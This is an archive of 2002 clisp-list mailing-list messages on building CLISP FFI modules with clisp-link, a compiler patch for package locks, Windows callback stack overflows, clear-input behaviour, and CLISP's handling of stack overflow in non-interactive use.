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&nbsp;&nbsp;&nbsp;&nbsp; I used to use a music program called Symbolic Composer on my Power PC. When I moved to a G4 and OS X, I found I could no longer use the program because clisp was supported on OSX. Now, it seems, as I browse sourceforge, that clisp is supported on OSX. Can anybody walk me thorugh the installation process or direct me to the appropriate support files/FAQs?<BR>
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Date: Mon Nov  4 13:34:01 2002
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I'm having problems with attempting build my own FFI example based on
the example in the FFI implementation notes
<http://clisp.cons.org/impnotes/dffi.html> and would appreciate any
help.

    [kick@login0 ~/tmp]% $DIR/clisp-link create-module-set f00f f00f-code.c
    [kick@login0 ~/tmp]% gcc -c f00f-code.c 
    [kick@login0 ~/tmp]% lf
    call-f00f.lisp	f00f/  f00f-code.c  f00f-code.o
    [kick@login0 ~/tmp]% cd f00f
    [kick@login0 tmp/f00f]% ln -s ../f00f-code.o
    [kick@login0 tmp/f00f]% cd ..
    [kick@login0 ~/tmp]% $DIR/base/lisp.run -M $DIR/base/lispinit.mem -c call-f00f.lisp 
      i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
      I I I I I I I      8     8   8           8     8     o  8    8
      I  \ `+' /  I      8         8           8     8        8    8
       \  `-+-'  /       8         8           8      ooooo   8oooo
        `-__|__-'        8         8           8           8  8
            |            8     o   8           8     o     8  8
      ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

    Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
    Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
    Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
    Copyright (c) Bruno Haible, Sam Steingold 1999-2002


    Compiling file /home/kick/tmp/call-f00f.lisp ...
    WARNING:
    SETQ(FFI::*FOREIGN-LANGUAGE*): #<PACKAGE FFI> is locked
    Ignore the lock and proceed
    WARNING in (DEFAULT-FOREIGN-LANGUAGE :STDC)-4 in line 4 :
    SETQ: assignment to the internal special symbol FFI::*FOREIGN-LANGUAGE*

    Wrote file /home/kick/tmp/call-f00f.fas
    Wrote file /home/kick/tmp/call-f00f.c
    0 errors, 1 warning
    Bye.
    [kick@login0 ~/tmp]% $DIR/clisp-link add-module-set f00f $DIR/base base+f00f
    make: Warning: File `Makefile' has modification time 44 s in the future
    make: Nothing to be done for `clisp-module'.
    make: warning:  Clock skew detected.  Your build may be incomplete.
    /usr/test/npaero/local/sparc-sun-solaris2.6/bin/gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fno-schedule-insns -fno-gcse -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -I/usr/test/awo/user_work/kick/sparc-sun-solaris2.6/lib/clisp/linkkit -c modules.c
    In file included from modules.d:11:
    /usr/test/awo/user_work/kick/sparc-sun-solaris2.6/lib/clisp/linkkit/clisp.h:2855: warning: call-clobbered register used for global register variable
    /usr/test/npaero/local/sparc-sun-solaris2.6/bin/gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fno-schedule-insns -fno-gcse -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -x none modules.o f00f-code.o lisp.a libcharset.a libavcall.a libcallback.a -ltermcap -lnsl -lsocket -o lisp.run
    modules.o(.data+0x30): undefined reference to `module__f00f_code__subr_tab'
    modules.o(.data+0x34): undefined reference to `module__f00f_code__subr_tab_size'
    modules.o(.data+0x38): undefined reference to `module__f00f_code__object_tab'
    modules.o(.data+0x3c): undefined reference to `module__f00f_code__object_tab_size'
    modules.o(.data+0x44): undefined reference to `module__f00f_code__subr_tab_initdata'
    modules.o(.data+0x48): undefined reference to `module__f00f_code__object_tab_initdata'
    modules.o(.data+0x4c): undefined reference to `module__f00f_code__init_function_1'
    modules.o(.data+0x50): undefined reference to `module__f00f_code__init_function_2'
    collect2: ld returned 1 exit status
    [kick@login0 ~/tmp]% lf
    base+f00f/   call-f00f.fas  call-f00f.lisp  f00f-code.c
    call-f00f.c  call-f00f.lib  f00f/	    f00f-code.o
    [kick@login0 ~/tmp]% cat f00f-code.c
    #include <stdio.h>

    struct X { int i; };

    void f(struct X* p)
    {
        printf("p->i => %d\n", p->i);
    }
    [kick@login0 ~/tmp]% cat call-f00f.lisp 
    (defpackage "CALL-F00F" (:use "LISP" "FFI"))
    (in-package "CALL-F00F")
    (def-c-struct X (i int))
    (default-foreign-language :stdc)
    (def-call-out f
        (:arguments (p (c-ptr X) :in :alloca))
      (:return-type nil))
    (defun call-f ()
      (f (make-X :i 5)))
    [kick@login0 ~/tmp]% cat f00f/link.sh 
    file_list=''
    mod_list=''
    if test -r f00f-code.c; then
      file_list="$file_list"' f00f-code.o'
      mod_list="$mod_list"' f00f_code'
    fi
    make clisp-module CC="${CC}" CFLAGS="${CFLAGS}" INCLUDES="$absolute_linkkitdir"
    NEW_FILES="$file_list"
    NEW_LIBS="$file_list"
    NEW_MODULES="$mod_list"
    TO_LOAD=''
    [kick@login0 ~/tmp]% cat call-f00f.c
    #include "clisp.h"

    extern object module__call_f00f__object_tab[];

    subr_t module__call_f00f__subr_tab[1];
    uintC module__call_f00f__subr_tab_size = 0;
    subr_initdata_t module__call_f00f__subr_tab_initdata[1];

    object module__call_f00f__object_tab[1];
    object_initdata_t module__call_f00f__object_tab_initdata[1];
    uintC module__call_f00f__object_tab_size = 0;

    extern void (f)();

    void module__call_f00f__init_function_1(module)
      var module_t* module;
    { }

    void module__call_f00f__init_function_2(module)
      var module_t* module;
    {
      register_foreign_function(&f,"f",1024);
    }
    [kick@login0 ~/tmp]% 

Why is "call-f00f.c" not being included in the build?

--
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On Mon, 4 Nov 2002, Kick Damien-DKICK1 wrote:

>     Compiling file /home/kick/tmp/call-f00f.lisp ...
>     WARNING:
>     SETQ(FFI::*FOREIGN-LANGUAGE*): #<PACKAGE FFI> is locked
>     Ignore the lock and proceed
>     WARNING in (DEFAULT-FOREIGN-LANGUAGE :STDC)-4 in line 4 :
>     SETQ: assignment to the internal special symbol FFI::*FOREIGN-LANGUAGE*

That is annoying. def-c-call-out is supposed to be obsolete, but the
workaround of setting the default FFI language triggers an error. What
I do is define my own private versions of def-c-call-out and
def-c-call-in in my own package, which add the (:language :stdc)
property. I set these up as shadowing symbols so they hide the ones
accessible in FFI.

>     Wrote file /home/kick/tmp/call-f00f.fas
>     Wrote file /home/kick/tmp/call-f00f.c
>     0 errors, 1 warning
>     Bye.
>     [kick@login0 ~/tmp]% $DIR/clisp-link add-module-set f00f $DIR/base base+f00f
>     make: Warning: File `Makefile' has modification time 44 s in the future

NFS?

>     modules.o(.data+0x30): undefined reference to `module__f00f_code__subr_tab'

This problem is caused by a disagreement within the link.sh script
about what your module is called. 

When CLISP's FFI compiler processes your Lisp module to spit out the .c
file, it creates a module name based on the name of that Lisp module,
translated to a C identifier (dashes to underscores).  That module name
is encoded into various C definitions. These definitions must have
names that agree with the modules.o. 

In other words, the module name that you configure in your link.sh must
agree with the name of your .lisp file.

>     base+f00f/   call-f00f.fas  call-f00f.lisp  f00f-code.c
>     call-f00f.c  call-f00f.lib  f00f/	    f00f-code.o

Based on this listing, your module name is ``call-f00f'', which
translates to the C language identifier ``call_f00f''. Edit link.sh to
set this as the module's name. The end result should be that modules.o
makes references to module__call_f00f__subr_tab and so forth, and these
references are satisfied by definitions inside call-f00f.o.

Your module's name is not derived from ``f00f-code''. That is just the
name of a source file containing some functions to be compiled and
linked into the Lisp executable.  CLISP doesn't care about the name of
this at all, nor does it even require it to exist.



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Kaz Kylheku [kaz@ashi.footprints.net] wrote:

> On Mon, 4 Nov 2002, Kick Damien-DKICK1 wrote:
> 
> >     Compiling file /home/kick/tmp/call-f00f.lisp ...
> >     WARNING:
> >     SETQ(FFI::*FOREIGN-LANGUAGE*): #<PACKAGE FFI> is locked
> >     Ignore the lock and proceed
> >     WARNING in (DEFAULT-FOREIGN-LANGUAGE :STDC)-4 in line 4 :
> >     SETQ: assignment to the internal special symbol
FFI::*FOREIGN-LANGUAGE*
>
> That is annoying.  [...] What I do is [...]

If you wouldn't mind sending an example, I wouldn't mind receiving one
<smile>.

> >     Wrote file /home/kick/tmp/call-f00f.fas
> >     Wrote file /home/kick/tmp/call-f00f.c
> >     0 errors, 1 warning
> >     Bye.
> >     [kick@login0 ~/tmp]% $DIR/clisp-link add-module-set f00f $DIR/base
base+f00f
> >     make: Warning: File `Makefile' has modification time 44 s in the
future
>
> NFS?

Yes.  I'm not sure if that is the cause of the problem, though.

> >     modules.o(.data+0x30): undefined reference to
`module__f00f_code__subr_tab'

> This problem is caused by a disagreement within the link.sh script
> about what your module is called.  [...] the module name that you
> configure in your link.sh must agree with the name of your .lisp
> file.

Thank you.  This did the trick.

    [kick@login0 ~/tmp]% cat f00f/link.sh 
    file_list=''
    mod_list=''
    if test -r f00f-code.c; then
      file_list="$file_list"' f00f-code.o'
      mod_list="$mod_list"' call_f00f'
    fi
    make clisp-module CC="${CC}" CFLAGS="${CFLAGS}"
INCLUDES="$absolute_linkkitdir"
    NEW_FILES="$file_list call-f00f.o"
    NEW_LIBS="$file_list call-f00f.o"
    NEW_MODULES="$mod_list"
    TO_LOAD=''
    [kick@login0 ~/tmp]% 

> >     base+f00f/   call-f00f.fas  call-f00f.lisp  f00f-code.c
> >     call-f00f.c  call-f00f.lib  f00f/	    f00f-code.o
>
> [...] The end result should be that modules.o makes references to
> module__call_f00f__subr_tab and so forth, and these references are
> satisfied by definitions inside call-f00f.o.

I had to compile "call-f00f.c" from the shell.  For some reason, I
would've expected that this would have been done as part of
'clisp-link', yes?  Not that it is difficult to do compile
"call-f00f.c" but I'm just curious.

> Your module's name is not derived from ``f00f-code''.  That is just
> the name of a source file containing some functions to be compiled
> and linked into the Lisp executable.  CLISP doesn't care about the
> name of this at all, nor does it even require it to exist.

I'm glad you mentioned how CLISP (why is it in uppercase? is it an
acronym?  is it "(quote clisp) => CLISP"?) does not require
"f00f-code.c" to exist at all.  This exercise is really just a first
step in my attempting to produce a CLISP binding for Don Libe's Expect
library.  I've been hoping that it is somehow possible to simply
supply "libexpect.a".  Is there somewhere I can look for more
documentation than what I have found in the implementation notes
<http://clisp.sourceforge.net/impnotes.html#modules>, possibly with an
example of doing just this (creating an external module from a
library)?  Are there any gotchas one might think would be lurking for
me if I try to do this?

--
Damien Kick


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On Mon, 4 Nov 2002, Kick Damien-DKICK1 wrote:

> Date: Mon, 4 Nov 2002 17:27:20 -0600 
> From: Kick Damien-DKICK1 <DKICK1@motorola.com>
> To: 'Kaz Kylheku' <kaz@ashi.footprints.net>,
>      Kick Damien-DKICK1 <DKICK1@motorola.com>
> Cc: clisp-list@lists.sourceforge.net
> Subject: RE: Clisp FFI
> 
> Kaz Kylheku [kaz@ashi.footprints.net] wrote:
> 
> > On Mon, 4 Nov 2002, Kick Damien-DKICK1 wrote:
> > 
> > >     Compiling file /home/kick/tmp/call-f00f.lisp ...
> > >     WARNING:
> > >     SETQ(FFI::*FOREIGN-LANGUAGE*): #<PACKAGE FFI> is locked
> > >     Ignore the lock and proceed
> > >     WARNING in (DEFAULT-FOREIGN-LANGUAGE :STDC)-4 in line 4 :
> > >     SETQ: assignment to the internal special symbol
> FFI::*FOREIGN-LANGUAGE*
> >
> > That is annoying.  [...] What I do is [...]
> 
> If you wouldn't mind sending an example, I wouldn't mind receiving one
> <smile>.

 (defpackage :my-ffi-glue-package
   (:use :ffi :cl)
   blah blah
   (shadow :def-c-call-out))

 (in-package :my-ffi-glue-package)

 (defmacro def-c-call-out (&rest forms) 
   `(def-call-out (:language :stdc) ,@forms))

 (def-c-call-out ...)

>     TO_LOAD=''

TO_LOAD should be filled in:

    TO_LOAD='call-foof'

This will load call-foof.fas (or .lisp if it happens to not be
compiled). It's necessary, because you need that .fas in the
lispinit.mem of the generated linking set, just as much as you need
your .o files to go into lisp.run. Without loading the Lisp part of it,
you don't have the Lisp side of the glue.

Here is a gotcha I ran into. If you are using DEF-C-CALL-IN, and are
writing Lisp callbacks in your own package (rather than, say,
COMMON-LISP-USER), you have to use TO_PRELOAD as well.

Without TO_PRELOAD, the build blows up, because a lisp.run is generated
from a .o file that contains a table of symbolic references to 
the symbols in your package. But the problem is that the lisp.run is
then used in conjunction with the base lispinit.mem, which knows
nothing about the package.

With TO_PRELOAD, the image generation is split into an extra step. First,
a new lispinit.mem is generated containing your preloaded Lisp code
where you can define your packages. Then the new lisp.run is formed
with your .o modules. And lastly, this lisp.run is used with the
preloaded lispinit.mem, to take care of your TO_LOAD stuff, and
generate the final lispinit.mem.

>     [kick@login0 ~/tmp]% 
> 
> > >     base+f00f/   call-f00f.fas  call-f00f.lisp  f00f-code.c
> > >     call-f00f.c  call-f00f.lib  f00f/	    f00f-code.o
> >
> > [...] The end result should be that modules.o makes references to
> > module__call_f00f__subr_tab and so forth, and these references are
> > satisfied by definitions inside call-f00f.o.
> 
> I had to compile "call-f00f.c" from the shell.  For some reason, I
> would've expected that this would have been done as part of
> 'clisp-link', yes?  Not that it is difficult to do compile
> "call-f00f.c" but I'm just curious.

That is correct. You put it into the Makefile.

> I'm glad you mentioned how CLISP (why is it in uppercase? is it an
> acronym?  is it "(quote clisp) => CLISP"?) does not require
> "f00f-code.c" to exist at all.  This exercise is really just a first
> step in my attempting to produce a CLISP binding for Don Libe's Expect
> library.  I've been hoping that it is somehow possible to simply
> supply "libexpect.a".

Yes it is. You just put that into the NEW_LIBS line.  If it's in the
linker path, you can just put in ``-lexpect''.

  Is there somewhere I can look for more
> documentation than what I have found in the implementation notes
> <http://clisp.sourceforge.net/impnotes.html#modules>, possibly with an
> example of doing just this (creating an external module from a
> library)?  Are there any gotchas one might think would be lurking for
> me if I try to do this?

The gotchas are that you have to replicate any struct definitions and
whatnot using the CLISP FFI language. If the library interfaces change,
then you have to make the dependent changes in your FFI definition.

It may be helpful to actually have a .c module that separates you from
such a dependency.

As an example, in Meta-CVS I have wrappers for opendir, readdir and
closedir. But the dirent structure has a binary structure that is
different on different platforms. I just care about the d_name and
d_inode members. So the approach is to define a fake dirent structure,
and implement a fake readdir, which I call impl_readdir. This function
calls the real readdir and then copies the members from the real struct
to the fake struct. 

Smoething like libexpect is less of a problem this way; a given version
of it is the same everywhere.

There may be other reasons to create an extra layer. You might want
just a simplified subset of the functionality. You can get a simplified
subset by making a lot of FFI, and then writing Lisp code on top of
that to get the simplification. But depending on the exact
circumstances, that could be more work than just writing a simplified
layer in C, and then targetting that with FFI.




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> * In message <Pine.LNX.4.44.0211041816170.21691-100000@ashi.FootPrints.net>
> * On the subject of "[clisp-list] Re: Clisp FFI"
> * Sent on Mon, 4 Nov 2002 18:37:23 -0800 (PST)
> * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
>
>  (defpackage :my-ffi-glue-package
>    (:use :ffi :cl)
>    blah blah
>    (shadow :def-c-call-out))
> 
>  (in-package :my-ffi-glue-package)
> 
>  (defmacro def-c-call-out (&rest forms) 
>    `(def-call-out (:language :stdc) ,@forms))
> 
>  (def-c-call-out ...)

please do not do this.
use CVS or apply the appended patch.

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Index: compiler.lisp
===================================================================
RCS file: /cvsroot/clisp/clisp/src/compiler.lisp,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -w -b -u -b -w -i -B -r1.98 -r1.99
--- compiler.lisp	14 Sep 2002 22:14:24 -0000	1.98
+++ compiler.lisp	18 Sep 2002 17:43:06 -0000	1.99
@@ -3013,6 +3013,7 @@
        (HANDLER-BIND . c-HANDLER-BIND)
        (SYS::%HANDLER-BIND . c-HANDLER-BIND)
        (SYS::CONSTANT-EQL . c-CONSTANT-EQL)
+       (WITHOUT-PACKAGE-LOCK . c-WITHOUT-PACKAGE-LOCK)
        ;; Inline-compiled functions:
        (FUNCALL . c-FUNCALL)
        (SYS::%FUNCALL . c-FUNCALL)
@@ -5668,8 +5669,10 @@
     (let ((s (car l)))
       (when (and (symbolp s) (venv-search-macro s)) (return t)))))
 
+(defvar *compiler-unlocked-packages* nil)
 (defun set-check-lock (caller symbol)
-  (when (symbol-value-lock symbol)
+  (when (and (not (memq (symbol-package symbol) *compiler-unlocked-packages*))
+             (symbol-value-lock symbol))
     (c-warn (TEXT "~S: assignment to the internal special symbol ~S")
             caller symbol)))
 
@@ -7054,6 +7057,14 @@
       (c-form `(SYS::LOOSE-CONSTANT-EQL ,@form23))
       (c-form `(EQL ,@form23)))))
 
+;; compile (without-package-lock (packages) ...)
+(defun c-WITHOUT-PACKAGE-LOCK  (&optional (c #'c-form))
+  (test-list *form* 1)
+  (let ((*compiler-unlocked-packages*
+         (append (mapcar #'find-package (second *form*))
+                 *compiler-unlocked-packages*)))
+    (funcall c (macroexpand *form*))))
+
 
 ;;;;****   FIRST PASS :   INLINE   FUNCTIONS   (PRIMOPS)
 
@@ -11157,7 +11168,8 @@
                                    (symbol-suffix *toplevel-name*
                                                   (incf subform-count)))))))))
                  (return-from compile-toplevel-form))
-                ((LOCALLY EVAL-WHEN COMPILER-LET MACROLET SYMBOL-MACROLET)
+                ((LOCALLY EVAL-WHEN COMPILER-LET MACROLET SYMBOL-MACROLET
+                  WITHOUT-PACKAGE-LOCK)
                  (let ((*form* form))
                    ;; call c-LOCALLY resp. c-EVAL-WHEN resp. c-COMPILER-LET
                    ;; resp. c-MACROLET resp. c-SYMBOL-MACROLET:
@@ -11359,10 +11371,8 @@
 ;;               an Output-Stream. Default: t.
 ;; :listing      should be nil or t or a Pathname/String/Symbol or
 ;;               an Output-Stream. Default: nil.
-;; :warnings     indicates, if the Warnings should also appear on the
-;;               screen.
-;; :verbose      indicates, if the Errors also have to appear on the
-;;               screen.
+;; :warnings     indicates, if the Warnings should also appear on the screen.
+;; :verbose      indicates, if the Errors also have to appear on the screen.
 (defun compile-file (file &key (output-file 'T) listing
                                ((:warnings *compile-warnings*)
                                 *compile-warnings*)
Index: foreign1.lisp
===================================================================
RCS file: /cvsroot/clisp/clisp/src/foreign1.lisp,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -w -b -u -b -w -i -B -r1.25 -r1.26
--- foreign1.lisp	14 Jun 2002 15:42:53 -0000	1.25
+++ foreign1.lisp	18 Sep 2002 17:42:35 -0000	1.26
@@ -282,7 +282,8 @@
 
 (defmacro default-foreign-language (lang)
   (language-to-flag lang)       ; error checking
-  `(eval-when (load compile eval) (setq *foreign-language* ',lang)))
+  `(eval-when (load compile eval)
+     (without-package-lock ("FFI") (setq *foreign-language* ',lang))))
 
 ;; get the even (start=0) or odd (start=1) elements of the simple vector
 (defun split-c-fun-arglist (args start)


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Thank you, Kaz, for your reply, all of which was very helpful.  There
were a few things in your reply, however, that raised a few new
quetions for me.  No good deed goes unpunished, yes? <smile>

Kaz Kylheku [kaz@ashi.footprints.net] wrote:
> On Mon, 4 Nov 2002, Kick Damien-DKICK1 wrote:
> >     TO_LOAD=''
>
> TO_LOAD should be filled in:
> 
>     TO_LOAD='call-foof'
> 
> This will load call-foof.fas (or .lisp if it happens to not be
> compiled).  It's necessary, because you need that .fas in the
> lispinit.mem of the generated linking set, just as much as you need
> your .o files to go into lisp.run.  Without loading the Lisp part of
> it, you don't have the Lisp side of the glue.

Interesting.  My little example seemed to work just fine without it.

    [kick@login0 ~/tmp]% ./base+f00f/lisp.run \
    > -M base+f00f/lispinit.mem -i call-f00f -q
    ;; Loading file /home/kick/tmp/call-f00f.fas ...
    ;; Loaded file /home/kick/tmp/call-f00f.fas
    [1]> (call-f00f::call-f)
    p->i => 5

    [2]> 
    [kick@login0 ~/tmp]% 

Have I wandered into some kind of undefined behavior that fooled me
with the output I was expecting?  Either way, I will be certain to
modify the 'TO_LOAD' in the future.

> > Are there any gotchas one might think would be lurking for me if I
> > try to do this?
> 
> The gotchas are that you have to replicate any struct definitions
> and whatnot using the CLISP FFI language.  [...]

<nod> True.

Here is an example of the kind of potential gotcha about which I was
wondering.  Consider if, for example, the C code I will be calling
from my CLISP process were to 'fork(2)' a child process, as will most
likely be the case with the Expect library.  When one of these child
processes exits and the parent receives SIGCHILD, are any blocking
system calling executing from within CLISP not going to have their
return codes checked for EINTR correctly (though I realize that the
default disposition for SIGCHILD is to be ignored and, thusly, if I'm
remembering correclty, would not interrupt a blocking system call (at
least on Solaris)) as CLISP is not expecting to be 'fork(2)'ed?  I
would imagine that any external module code that was attempting to use
Pthreads would create problems as CLISP currently does not support
threading in a stable release.  I'm just fishing here but I hope this
gives a few examples of the kinds of gotchas about which I'm asking.

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On Tue, 5 Nov 2002, Kick Damien-DKICK1 wrote:
> Kaz Kylheku [kaz@ashi.footprints.net] wrote:
> >     TO_LOAD='call-foof'
>
> Interesting.  My little example seemed to work just fine without it.
> 
>     [kick@login0 ~/tmp]% ./base+f00f/lisp.run \
>     > -M base+f00f/lispinit.mem -i call-f00f -q
>     ;; Loading file /home/kick/tmp/call-f00f.fas ...
>     ;; Loaded file /home/kick/tmp/call-f00f.fas

Yeah, but you typed ``-i call-f00f'' by yourself! The idea is that
call-f00f should be in the base+f00f/lispinit.mem, because it contains
the Lisp stubs for calling the extra C code you put into
base+f00f/lisp.run. You should just be able to run your customized
Lisp and have everything already be there.

> Here is an example of the kind of potential gotcha about which I was
> wondering.  Consider if, for example, the C code I will be calling
> from my CLISP process were to 'fork(2)' a child process, as will most
> likely be the case with the Expect library.  When one of these child
> processes exits and the parent receives SIGCHILD, are any blocking
> system calling executing from within CLISP not going to have their
> return codes checked for EINTR correctly (though I realize that the

Not checking for EINTR would just be buggy programming; if you ever
find a problem like that, CLISP will just have to be patched.

> default disposition for SIGCHILD is to be ignored and, thusly, if I'm
> remembering correclty, would not interrupt a blocking system call (at
> least on Solaris)) as CLISP is not expecting to be 'fork(2)'ed?  I

CLISP most certainly does expect to be forked. A number of features in
the EXT package rely on fork. CLISP supports the launching of a
coprocess connected to a lisp stream, and the running of external
commands. The COMMON-LISP-USER:EDIT function is another one that runs
an external editor.

> would imagine that any external module code that was attempting to use
> Pthreads would create problems as CLISP currently does not support
> threading in a stable release.

My guess would be that if you don't try to reenter any Lisp code with
your extra threads, you will probably be okay. But that kind of
restriction defeats someo of the purpose. I'd also make sure that
all components that go into the Lisp executable are properly built with
gcc -pthread and all that.



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The code I wrote for 2.28 has a problem on 2.30.
The problem is the code goes into a lisp stack overflow loop.
Does anyone see anything wrong with the following?
I have narrowed it down to the following call:

     pushSTACK(allocate_fpointer(hWnd));
     funcall(O(onCreate),1); // fails in this call

The onCreate variable is set by passing in a function in my
initialization lisp code as follows:

(defun init-gdi () (gdi::initc *functions* #'onCreate))
(defvar *hinstance* (init-gdi))

Following is the c code that is executed for initialization:
DEFVAR(functions,`nil`)
DEFVAR(localCons,`nil`)
DEFVAR(onCreate,`nil`)
DEFUN( GDI:INITC, h f)
{
  O(localCons) = allocate_cons();
  O(onCreate) = popSTACK();
  O(functions) = popSTACK();
  value1 = allocate_fpointer(GetModuleHandle(0));
  mv_count=1;
  return;
}




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I'm running clisp 2.30 on a windows machine from a shortcut that
starts it in a command prompt.  When I ran from emacs I think this
worked, but from the command prompt it doesn't.
I can do something like
 (list (read)(read)(clear-input)(read))
then type (on one line)
 2 3 4 5
and I get back (2 3 nil 4)
I trace read and clear-input and see output like this:

...
trace: (clear-input) ==> nil
trace: (read)
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I also tried programming my own clear-input using listen but listen
seems to return nil even when I think it should return t.

Does this happen to anyone else out there?


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On Fri, 8 Nov 2002, Don Cohen wrote:

> Subject: [clisp-list] clear-input not working from dos box?
> 
> I'm running clisp 2.30 on a windows machine from a shortcut that
> starts it in a command prompt.  When I ran from emacs I think this
> worked, but from the command prompt it doesn't.
> I can do something like
>  (list (read)(read)(clear-input)(read))
> then type (on one line)
>  2 3 4 5
> and I get back (2 3 nil 4)
> I trace read and clear-input and see output like this:

This is probably because CLISP is reading your terminal input in
character-at-a-time mode. So the read of 3 completes as soon as the
space character is read in, and no additional characters are buffered
from the operating system. No characters buffered means that there is
nothing to discard. This is how CLISP behaves on Unix.

Anyway, clear-input and its ilk are braindamaged. You are telling the
machine to throw away data.  There is no protocol for doing this right,
so the software is likely to irritate the user who types ahead the
computer's response, due to network lag or delays in the program
itself that create uncertainties in what exactly is discarded.

If I'm typing ahead, and the machine tries to discard input, it's possible
that some of the typed-ahead characters remain, because they were still
arriving to the machine *after* the clear operation executed. It's a
race; there is no end to end synchronization to bring about any
agreement about how much is discarded.  So to get reliable behavior,
I'm going to have to train myself to wait for the appearance of the
input prompt before typing anything, because that prompt is the only
thing that tells me that the software has already tried to throw away
my input, and is truly ready now to receive it! Because I'm a fast
typist who can type entire lines of correct input to a lagged system,
this will irritate me to the point that I will throw the program away.

Note the large comment in the CLHS example for clear-input:

;; The exact I/O behavior of this example might vary from implementation
;; to implementation depending on the kind of interactive buffering that
;; occurs.  (The call to SLEEP here is intended to help even out the 
;; differences in implementations which do not do line-at-a-time buffering.)

So clear-input is an interface that gives you access to who knows what
sort of platform-specific functionality.



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Kaz Kylheku writes:
 > On Fri, 8 Nov 2002, Don Cohen wrote:
 > > I can do something like
 > >  (list (read)(read)(clear-input)(read))
 > > then type (on one line)
 > >  2 3 4 5
 > > and I get back (2 3 nil 4)
 > > I trace read and clear-input and see output like this:
 > 
 > This is probably because CLISP is reading your terminal input in
 > character-at-a-time mode. So the read of 3 completes as soon as the
 > space character is read in, and no additional characters are buffered
 > from the operating system. No characters buffered means that there is
 > nothing to discard. This is how CLISP behaves on Unix.

The trace output for read and clear-input clearly shows that this was 
NOT the case.

 > Anyway, clear-input and its ilk are braindamaged. You are telling the
 > machine to throw away data.  There is no protocol for doing this right,
 > so the software is likely to irritate the user who types ahead the
 > computer's response, due to network lag or delays in the program
 > itself that create uncertainties in what exactly is discarded...

I disagree.  I think the CL designers knew what they were doing.
I admit that there are plenty of race conditions, but clear-input is
very useful for reducing certain errors.  It's useful precisely when 
type ahead is very likely to be wrong or dangerous.  

I was using it in a quiz program.  The program asks a question and
then reads the answer.  You can't know the answer until the question
appears.  On the other hand, if you type more answer than expected,
you're likely to be annoyed by the left over being interpreted as the
answer to the next question.



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Is there a document, it the clisp distribution that covers the various
safety and debugging options
available for clisp compilation?
Thanks,
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I am having a problem with my gdi module, in particular, a lisp stack
overflow.
The problem occurs when a window is created, which causes a callback
into
clisp.

The flow of control is roughly:

create window which enters a microsoft dll.
windowproc my subroutine which is called by the microsoft dll
funcall which calls the lisp oncreate function.

The funcall causes the lisp stack overflow.

Do I need to add a begin_callback()/end_callback() around the funcall?

This code worked on 2.28, but fails on 2.29/2.30.  Could this be the
problem?
Thanks,
Dan Stanger




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> * In message <3DCE7154.1E79A193@ieee.org>
> * On the subject of "[clisp-list] Compile and Debugging options"
> * Sent on Sun, 10 Nov 2002 07:46:44 -0700
> * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
>
> Is there a document, it the clisp distribution that covers the various
> safety and debugging options available for clisp compilation?

configure builds CLISP with SAFETY=0 and gcc -O2
--with-debug means SAFETY=3 and gcc -g.

see lispbibl.d for the meaning of SAFETY: basically it enables various
run-time consistency checks that make CLISP crash earlier when it will
eventually crash due to a bug.

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> * In message <3DCE794F.8A572C3A@ieee.org>
> * On the subject of "[clisp-list] Question about begin_callback()/end_callback()"
> * Sent on Sun, 10 Nov 2002 08:20:47 -0700
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>
> The funcall causes the lisp stack overflow.

try replacing the lisp function with something trivial.

> Do I need to add a begin_callback()/end_callback() around the funcall?

I think so.  see lisp_completion() in stream.d which does a call back.

> This code worked on 2.28, but fails on 2.29/2.30.  Could this be the
> problem?

there is _very_ little difference between 2.28 and 2.29.

if indeed the problem is a change in CLISP, you can pinpoint it by
doing a binary search on CVS (build 2.28, make sure it works, do
cvs co -D 2002-06-01 and check whether it breaks &c).  If you have a
reasonably modern machine, this is 20 minutes to write the script and
then run the script at most 8 times.  You will be done by the end of
the day (and "human time" cost will be about 40 minutes)



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Friends,

Consider the following:
----------------------
bash% uname -a
Linux foo 2.2.19 #1 Wed Mar 20 19:41:41 EST 2002 i586 unknown

bash% clisp --version
GNU CLISP 2.30 (released 2002-09-15) (built 3245891238) (memory 3245895182)
Features: 
(CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS
 GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386
 UNIX)

bash% cat foo.cl
(defun x () (x)) 
(x)

bash% clisp foo.cl 2>/dev/null </dev/zero  | head

*** - Lisp stack overflow. RESET

*** - READ from #<IO SYNONYM-STREAM *TERMINAL-IO*>: illegal character #\Null[1]> 

*** - READ from #<IO SYNONYM-STREAM *TERMINAL-IO*>: illegal character #\Null[3]> 

*** - READ from #<IO SYNONYM-STREAM *TERMINAL-IO*>: illegal character #\Null[5]> 

*** - READ from #<IO SYNONYM-STREAM *TERMINAL-IO*>: illegal character #\Null[7]> 

*** - READ from #<IO SYNONYM-STREAM *TERMINAL-IO*>: illegal character #\Null[9]> 

*** - READ from #<IO SYNONYM-STREAM *TERMINAL-IO*>: illegal character #\Null[11]> 

*** - READ from #<IO SYNONYM-STREAM *TERMINAL-IO*>: illegal character #\Null[13]> 

*** - READ from #<IO SYNONYM-STREAM *TERMINAL-IO*>: illegal character #\Null[15]> 
----------------------

This exhibits several horrible defects in clisp.  It should print an error
message (about stack overflow) to standard error and then simply exit.
Instead....

First, in a non-interactive setting, it jumps into an interactive
break loop.

Second, it writes garbage to standard output.  No runtime system can
ever be allowed to do that.

Third, the break loop reads from standard input.  No runtime system can
ever be allowed to do that.  Standard input and output are for the user's
program, and are generally connected to other programs by shell pipelines.

I'm not subscribed to clisp-list, so please cc any replies.


